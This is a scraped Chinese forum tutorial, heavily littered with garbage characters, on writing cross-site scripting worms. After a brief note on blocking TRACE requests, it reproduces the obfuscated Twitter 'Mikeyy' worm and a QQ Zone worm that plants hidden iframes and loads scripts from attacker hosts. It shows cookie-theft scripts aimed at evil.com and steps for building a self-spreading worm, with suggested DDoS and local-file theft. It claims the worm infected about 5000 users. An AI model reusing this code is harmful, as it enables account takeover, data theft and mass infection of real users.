5 m2 k) I. v7 w/ Z; ~4 f$ n</script>
/ x4 J' ^. r+ p6 {( b8 M4 C
/ _4 p. l1 P# l! F! ^. x+ `+ N
! Z! v7 H" p3 R/ n' a

( p7 [+ O4 w7 s0 ?& Q, Q2 E
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
7 `9 P: x- g' d$ _8 F
[code]
$ Y& I5 B; X0 A; ?7 ~3 d
9 j, |8 r* y' g" }3 ]RewriteEngine On
, `5 u) w  @" Z7 z" K
RewriteCond %{REQUEST_METHOD} ^TRACE

) \0 S* o- G* K/ b0 YRewriteRule .* - [F]


) d* {& g+ z6 B. a' P4 ?. I
/ ]* T% }. I' ?$ v- n7 z+ A  Z: p$ RSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

, B# w: }1 l1 Z1 z. i7 V" y' E( c, `acl TRACE method TRACE
. ~2 ?" J' T+ S. M1 ^0 R. {3 O
...
  J$ a# ~! J+ w8 S0 P, M
http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
+ Q$ L: k: I' g. v: Y& z0 B( i8 X
9 [! d( |" s4 c  x6 r  \var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
+ G$ \6 s  D; y# C6 r/ O+ f  t: s+ G
XmlHttp.open("GET","http://www.google.com",false);

* t% A' r% \  l* E2 ]9 ?+ ~& xXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

( X: n0 C9 j8 v% p3 vXmlHttp.send(null);
" Q. j. y6 ^- r8 {# Q" `( L( }$ `
</script>
7 w1 |1 O1 s) C3 f复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
$ z6 c, s% z! Y; N' j; U
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

" ?) ^: I% C" n  A5 `8 j1 D9 g

XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

; q: e& E  c+ l& p% g1 uXmlHttp.send(null);

<script>
1 A: B; _( R3 B! k  f8 l$ @复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)

( C1 r: n( ]- ^6 天前 08:27
2 }) b! z. Y3 ?$ c4 _
, L5 X* S  U& G第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
9 D3 B# f, N7 H+ ~1 j5 ~, b) F) \
& _: }, y+ ]( A% Q4 v   2.   
0 }& W4 }2 G/ F: W) e) ^
   3. function XHConn(){  

   4.   var _0x6687x2,_0x6687x3=false;  
; M  \' ^4 e: C$ x- D, W* E. V* O
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
, x  J$ s5 h8 J, S7 y, ]
. u/ \1 Y% ^) r. _; ?$ f! M   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
+ K: [& N3 K* S- H
. p' c( f7 K0 O+ O; c5 z/ J( h   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
* W* Q; u, i8 ?; `% k; ~
$ ?/ P: b: D( ]   2.   var content = document.documentElement.innerHTML;  
4 x4 b- d0 U/ D3 A" X
# c$ q+ O1 x- `5 s5 {& z   3.   var tmp_cookie=document.cookie;  
9 ^" @. X% p( E8 p8 F3 I
/ y: q* ~& Q6 \7 f   4.   var tmp_posted=tmp_cookie.match(/posted/);  
9 I. E$ `6 c* q, z
+ [' X# Z9 ^) L6 m% O  S2 ?" L   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
5 ^- |* g5 W% ]6 t3 g
   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  
& z9 a* U( `' W7 d) X- Y* {
) x" A2 b3 H+ u* Q   8.   var randomUpdate= new Array();  
, c1 m' \0 B! z# U$ U# G# z* \8 \
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

& a0 v# V' Y! W* {) u' m& _  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

2 u* o: }" g5 e# Q  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
( t+ ?3 _8 b/ d
$ j6 l" B8 ^2 K' s. Q; d5 y1 {  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
- O& O/ O. |* r
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
2 D- D1 g/ ^3 c: R
' A2 ^4 A9 S3 |3 l$ a. w" b5 g  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
  T2 x9 @/ t* \. B0 O
4 L& u/ h& ]4 o  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

3 m# E6 x6 H0 Q% ^6 ^+ @  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
" s" P8 `6 v0 c8 Z! l% N. G
8 f& G* d, r: |! ^; N  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

4 s' e, s4 K5 f0 @; x* X8 r  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
; G6 q0 i" b- s' Q2 u
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
" x; m0 U; k# }  }0 h
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
% _/ Q2 u2 |' `( G# F5 ^. S
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
+ v) z: j- M; A" Y
- K- i/ M) p$ z( P; Z6 E; I, j  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
4 U! i( x2 g$ `0 f2 U! [, M5 t
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
: ], b. k+ n) o% c' a
7 t% O$ T9 y$ |5 H9 _  28.   var ajaxConn= new XHConn();  

" Z% T8 J8 j# a0 Z' j9 }  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
3 P- @- x3 J; J8 a+ t5 q  t0 h$ ~. \
& ^# R1 b4 J. D1 t+ T0 }  30.   var _0xf81bx1c="Mikeyy";  

3 R+ d7 P9 X: e  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
4 z: v3 [! e% k2 G" d/ ~
% q# X8 e4 p- K3 d& G  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
1 F0 Z" I; }" J4 l5 r( a
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

& O  H. A' J. w9 Q% U2 d! ?! {  35.   var XSS=urlencode(genXSS);  
; k. y( Q3 W3 n
  36.   var ajaxConn2= new XHConn();  

- Y, u! c5 W: N, T  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     

  39. } ;  

- }" z4 _0 Y  w# G6 G0 _  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
; C0 D- A8 V# ^4 j: }
window.onerror=killErrors;


' d9 `  E2 K$ x* D0 X9 A2 E
var shendu;shendu=4;

//---------------global---v------------------------------------------

( m$ p2 w1 o8 `) l1 ]" b: ?; N//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
/ x- b( h, R1 f$ n9 Y1 ^- C. z
var myblogurl=new Array();var myblogid=new Array();
# W6 Q) x8 C9 ^# X. \6 P* b  A( e1 q
3 n! |' f! z; x, a- i        var gurl=document.location.href;
' G3 _  ]$ t% j8 n# ~- ~9 Y# K
        var gurle=gurl.indexOf("com/");
* V0 w& a8 W  I+ Y: C/ R+ g- ^( ]
        gurl=gurl.substring(0,gurle+3);        
9 f9 m6 P8 k  n5 \, _
        var visitorID=top.document.documentElement.outerHTML;
. V8 v* [; T& B: S5 E
2 v/ ?! \; L' D6 }& \6 y3 D$ j           var cookieS=visitorID.indexOf("g_iLoginUin = ");
' Y1 e% P& V" Q8 [$ l% b
* W1 [* n" J" }# D# D) W2 U  t7 U2 y        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");
7 V9 [% @( E3 N; A, \
        visitorID=visitorID.substring(0,cookieS);
3 _( F4 L0 w, P( J3 z, |' B8 Y
        get_my_blog(visitorID);
0 A* R+ N1 j2 W8 X* Y
        DOshuamy();
- D. L3 m" x* ~# m& ~, P
" z6 D# t' ?2 ~

//挂马
) q6 T6 u* n; a
function DOshuamy(){
' y5 j" h0 N- v% {! T
var ssr=document.getElementById("veryTitle");

# f, H- ^9 m7 _1 ]# ^3 fssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
2 o: C! M7 E& m0 O9 v, D
9 t5 C0 o3 [* q}
# P2 |. r7 U# K) U: M/ s7 z' r


7 G0 ~/ T* S( |0 r% v" L//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

- G+ w, r7 B7 Y) |6 Q6 Zfunction get_my_blog(visitorID){
+ H; d& E/ c9 }8 Z+ ^# i: [
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
0 T7 f% u9 [. ?# A
2 e  E$ y$ c& L7 ~* x   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的

' \6 u4 c2 T. o6 A     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;
* a# d" Y6 Y, ?7 S, o
- x' Y  d5 Z  X4 x9 ?# u     get_my_blogurl(guest);    //执行这个函数

    }
  ]( _* z1 ^7 H8 i) E
& s8 \: V+ }- c* c2 }5 y0 t) d( [}
5 S; V* f$ ~2 o2 }" p! {1 n


+ k7 y5 C' c3 E- `//这里似乎是判断没有登录的

function get_my_blogurl(guest){
+ F# V. C! V3 L; i3 h
& P+ Y# d, h# W7 _  var mybloglist=guest;

/ T( g" \! i: W8 d4 M  var myurls;var blogids;var blogide;

: H( o  @) n: n& o# J4 b# n. }& w  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

7 K+ u, j! u4 y# K0 z- H; e     if(myurls!=-1){    //找到了就执行下面的

; ~* m/ S  c+ d         mybloglist=mybloglist.substring(myurls+11);
9 r- P8 U3 Y8 G- L% A
  j: E3 g% _8 L$ T" q         myurls=mybloglist.indexOf(')');

         myblogid=mybloglist.substring(0,myurls);

5 m0 J0 q5 x" A7 X7 ~        }else{break;}

: N) Y. [! U% ?9 h0 C}

; g" {- p2 Q7 b5 H0 Iget_my_testself();    //执行这个函数
6 ?$ q! A, j% x* n  B4 v& N
}
9 R6 j5 Q5 T5 b" l7 A( ?
/ C. {' c% e5 T5 w1 _# J3 T3 n

//这里往哪跳就不知道了

function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
5 H2 u* L1 F  F7 s3 J7 a0 y
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
, X- o4 H# V, a; A2 K3 P1 h* x* y
  v! R0 m% D0 q( u5 H- \3 }8 t& ]      if(xhr2){        //如果成功

8 m! _9 i7 l  T              xhr2.open("GET",url,false);     //打开上面的那个url
; z. u, ^0 G' c( ]( o+ @
              xhr2.send();

. L6 {  B( k' d" @; ^              guest2=xhr2.responseText;

9 E7 x/ c$ q. [: p+ b* j4 K              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
; ~$ p+ i" H4 J( J4 B2 u6 Y6 ]5 c7 s
7 Q1 }5 w& e: u3 D  b( {, P              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
( B, W: r$ F* t
                targetblogurlid=myblogid;   
1 z. u8 R$ I9 N6 j+ W% y* [4 {0 X" a
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

# W' D) [& D. \3 ]9 G# G  u                break;

( y( M+ O; k6 x' _8 w. x               }
- S' \6 H7 n, q4 u$ g2 @$ e9 y" n
              if(mycheckit=="-1"){
/ s4 f, {( C. ^$ p5 U& @
                targetblogurlid=myblogid;
+ D# h7 u9 N  U) _3 I
, o- r" G+ D2 F                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
" @" I5 B# E# x: Q9 }( t
7 p# d6 O) H# Y$ A% H; t3 c               }
) ~3 ]  Z% ]7 B3 s- W
, p7 x9 Y/ K% a+ U3 r5 f" C        }      

& m) w6 [+ q, [5 g+ T}

}
7 o1 u5 a0 k" W0 n

9 P# v3 _( m  V. a9 L
7 X( h/ L" t5 |- Q//--------------------------------------  
2 I6 G9 d5 U) `& S8 J0 ~! {/ [
//根据浏览器创建一个XMLHttpRequest对象
3 q" h/ n: o3 I5 o7 T  L
function createXMLHttpRequest(){

    var XMLhttpObject=null;  

& D0 I5 [+ R# v5 ]    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
6 g4 E! d% p! Y1 I3 Z2 R
    else  
: q% ~) }; b5 H/ P
. a- }& g2 F. _  b6 A  @      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
$ J9 l1 o8 {- A9 t! y8 d; I6 P
        for(var i=0;i<MSXML.length;i++)  
) Q) r5 E$ Z6 X- O
        {  
6 b: z5 w) w; ]5 k! N* m
& N2 D- {0 J! R# @' o            try  
0 h7 j( {$ _* e
            {  

                XMLhttpObject=new ActiveXObject(MSXML);  

7 g( i) o7 G0 N/ x                break;  

3 H8 H: `% q3 x/ S            }  

            catch (ex) {  

            }  
: P7 z1 v! v6 e) A% M9 U0 W4 f! g
         }  

      }
: H# p0 _8 _' A  g% h. S  M1 E- J( h
% p9 G* w! g& b3 g6 e' e$ r4 W9 zreturn XMLhttpObject;
3 v2 D( _) E  \5 [
}  

( a: H3 I, A% x! a8 E" D
+ [7 ^' E1 ]1 R3 t6 _  k( V
//这里就是感染部分了
5 J' A2 F/ o# w4 |4 s; X
function add_js(visitorID,targetblogurlid,gurl){
6 Z6 ~3 m# H6 V# K6 j1 R, o9 @
1 d7 n0 Z1 Z4 R' K' dvar s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
/ M) N6 g' x; u  r2 g  r- Q
s2.type='text/javascript';

7 d) b5 m8 B8 [document.getElementsByTagName('head').item(0).appendChild(s2);

}
( V( ^% G  H/ m# k
; \3 T6 L/ S5 n( m7 n/ V

function add_jsdel(visitorID,targetblogurlid,gurl){
1 z4 d) h3 t7 T+ u" J
/ g/ w' n  u& Y; P$ a! Gvar s2=document.createElement('script');

1 _+ G! V' g% H. ns2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

$ Q+ m' {# G9 G! ~8 A# f$ R. As2.type='text/javascript';

7 }$ v, ?& O& t0 Xdocument.getElementsByTagName('head').item(0).appendChild(s2);
) p( s/ v0 a2 _% v- R4 d7 D" L* J
2 t/ D# k9 j4 s- g" z( {}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
  j, _# r# N9 d
) A7 x7 y' G  S, i2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
+ k: ?9 ~; h$ K1 s) a
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

0 d" a8 N4 e. g& O
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

5 K+ m% d# Z$ j  R8 Y首先,自然是判断不同浏览器,创建不同的对象var request = false;

! [: p8 \- |) Z  E5 E# Qif(window.XMLHttpRequest) {

request = new XMLHttpRequest();
% Y8 @6 ?6 X! ^6 ^$ R" b" H' r
if(request.overrideMimeType) {

$ s7 Z( |+ O2 S$ k1 T3 `. ^- Brequest.overrideMimeType('text/xml');

}

} else if(window.ActiveXObject) {
# n& E1 c( b: S4 o" k
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {
1 |- z  C( k1 d  i) O
try {
; V8 g1 S, `, B4 z4 c( M# @
request = new ActiveXObject(versions);
* h6 S" M8 o4 \/ |2 j' J
& }- M& O! B4 p& s" k; X4 ?} catch(e) {}
3 @1 \; s5 W0 n; C# T; `) t
}
3 ]9 j3 E9 f3 s2 M
7 x' _9 K& E* D; o, o$ K, |$ B7 w}

xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
! P8 N( W1 z1 E
        var Browser_Version=parseFloat(navigator.appVersion);
" i2 N  c% B2 w! L# G
( N/ j% v7 N: l! v# {5 v        var Browser_Agent=navigator.userAgent;
; |% P! d7 u( I* u, a
        

        var Actual_Version,Actual_Name;

& n& P* D6 G& U3 e5 e/ A" B8 K7 O        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
* T: R( s2 x1 c" w
, _' s* Y1 d) \8 m$ c, @7 T' e( ]. K        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
0 J# }7 c" N( t3 N% }7 i9 U
- t: h* G- U# V4 A. L        
% t8 l5 {. u  y7 ?
        if(is_NN){
8 M3 t: ?0 j* V- f$ I  C' J
            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");
! a4 u* J! n. m' m
                var Version=Browser_Agent.indexOf(" ",Split_Sign);
2 s" u( e$ }0 K
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

( h" t6 A, y& G3 {; `

                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
' o9 W, f$ M" C; W) d. R% v
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }

7 g4 g/ Y0 ~; W# U- Y) \, t' V            else{
0 I. O1 ^' F' Y! C3 o
# E1 j( @  s6 L% s- f                Actual_Version=Browser_Version;

& m& F* O7 l& p7 s  B                Actual_Name=Browser_Name;
0 R7 E+ x( }# C9 t! c
1 E3 R' Z+ Z, N; [            }
) l0 l$ l( E7 X6 f8 e# D# {
6 N1 d) h1 x5 S1 c' o- K5 j5 P        }

6 R$ }" i# p* r* }9 Z, D, u        else if(is_IE){

# ^- D' ?& A, ]; ^            var Version_Start=Browser_Agent.indexOf("MSIE");

5 b  g- }" d' O& }            var Version_End=Browser_Agent.indexOf(";",Version_Start);
# a; U6 @7 ~- K% S
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
- B6 B9 L3 b( {
            
6 @3 `. W- S! e( P) J5 Y. r
            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

            }

0 R2 D5 Y. G7 a/ ^! H* I            else if(Browser_Agent.indexOf("Opera")!=-1){
+ X& k3 }6 q  K
. c+ g! I% ~! k- [  t: T                Actual_Name="Opera";
4 e' u7 C" V+ n
                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;
: \; ?9 |% b, f1 l, E0 F
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }
8 Z+ Y0 k. _- h" b1 [' ^& q  [3 ]
0 z  K1 J0 ?. U! l6 O$ @        else if(is_Ch){
; v. T( J: f- @6 M7 b5 o2 I
            var Version_Start=Browser_Agent.indexOf("Chrome");

, T& R$ v9 V: Z/ u5 F  n5 q( g8 ?            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

0 D3 M0 }- ~, J$ s            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

            }
" o- i5 p0 x6 @3 B0 Q7 q0 o) q6 G
4 g9 g$ H/ P6 J5 T% y: R            else if(Browser_Agent.indexOf("Opera")!=-1){

+ l8 {6 J& j' S, k. }) x6 L. b                Actual_Name="Opera";
' u8 w% d5 h- t% s7 }* E: n' o, _2 f
                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

  M2 e8 V7 t/ a& ^" U+ X% O                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
: u# U& |& k% ^7 P+ G
            }

- c  w+ B7 ~% I2 l4 m/ {        }

        else{

            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"

+ |: |1 q* O( a! ?3 y9 Q        }


9 b" R, K4 {1 X' A3 t! {: t
        navigator.Actual_Name=Actual_Name;
- K  X2 w; K# ?0 ?% u: w( `
        navigator.Actual_Version=Actual_Version;

3 L" p6 g' ~) i7 J        

8 L% _  t; H; M9 i2 n        this.Name=Actual_Name;
" S5 r4 Z. E  |/ w" K& }: Y
        this.Version=Actual_Version;
; h2 ]( p& O  M* x
    }

+ T2 o% n2 T; A1 \$ A" J5 ]    browserinfo();
+ Z9 v- U! J! `" ~: |
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
* b( Z" V7 f! c+ |1 h6 ^
- A+ C5 M6 D+ ^    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
  T4 K7 J9 s( }3 @复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
' C3 u9 g* x* H- B; k6 `$ c9 O( S
xmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;

var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

; @# e# d  i( r6 x$ w5 zwhile ((result = patt.exec(resource)) != null)  {
* X& x% K9 y+ U; E
+ m2 V8 n+ P9 _, aid++;

: a7 K5 J- I; c6 @" `# o}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
9 n, [5 A) x0 \3 M) z" F2 Q, ?
3 D) ^- m; @5 C1 @) q. H2 j1 lno=resource.search(/my name is/);
6 U; `: F* ^. j# s3 p
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

" m# ?' M0 ~* ?8 d7 Hvar post="wd="+wd;
% X* |! ], m# c0 z1 `- E4 f- B
: F2 K2 }: e0 U7 o8 Y' ]) Y+ pxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
# Y* d1 C! R- B$ Z) @1 ^
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
- G7 I3 A8 ?2 Z3 T/ `! d5 d2 I
xmlHttpReq.setRequestHeader("content-length",post.length);
3 n5 F. l: ?# o
5 y7 z+ r$ f8 N% Y2 ], OxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
% H9 L; `& R7 v, M5 F
6 _* g* D# n" R! v- E* txmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
  f6 u5 g5 C8 m
$ \2 M8 u" O( p5 K( b. a# s/ qvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

) q6 r- J  A0 j% \6 jvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
5 [- t* o# b, B; Y
var post="wd="+wd;

  K, e! ^7 F% L6 w; h$ [7 dxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
& U2 G& d* |- Z
9 O) R- x' ]4 I/ P) ]) FxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
: I/ ?; `; m( d8 m# Y
- P& q5 p. h( ]1 E) r$ vxmlHttpReq.setRequestHeader("content-length",post.length);

5 C" n0 A8 L: [. ]3 yxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
* X+ G# @# T) P: c9 s
; t; _- k; i8 X9 exmlHttpReq.send(post);                 //把传播的信息 POST出去.

' C8 H0 o- R% ^0 c$ n% }9 W}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------

& |' r) ^3 W! ~5 \

5 l" d2 m$ |5 R* t7 O9 \本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
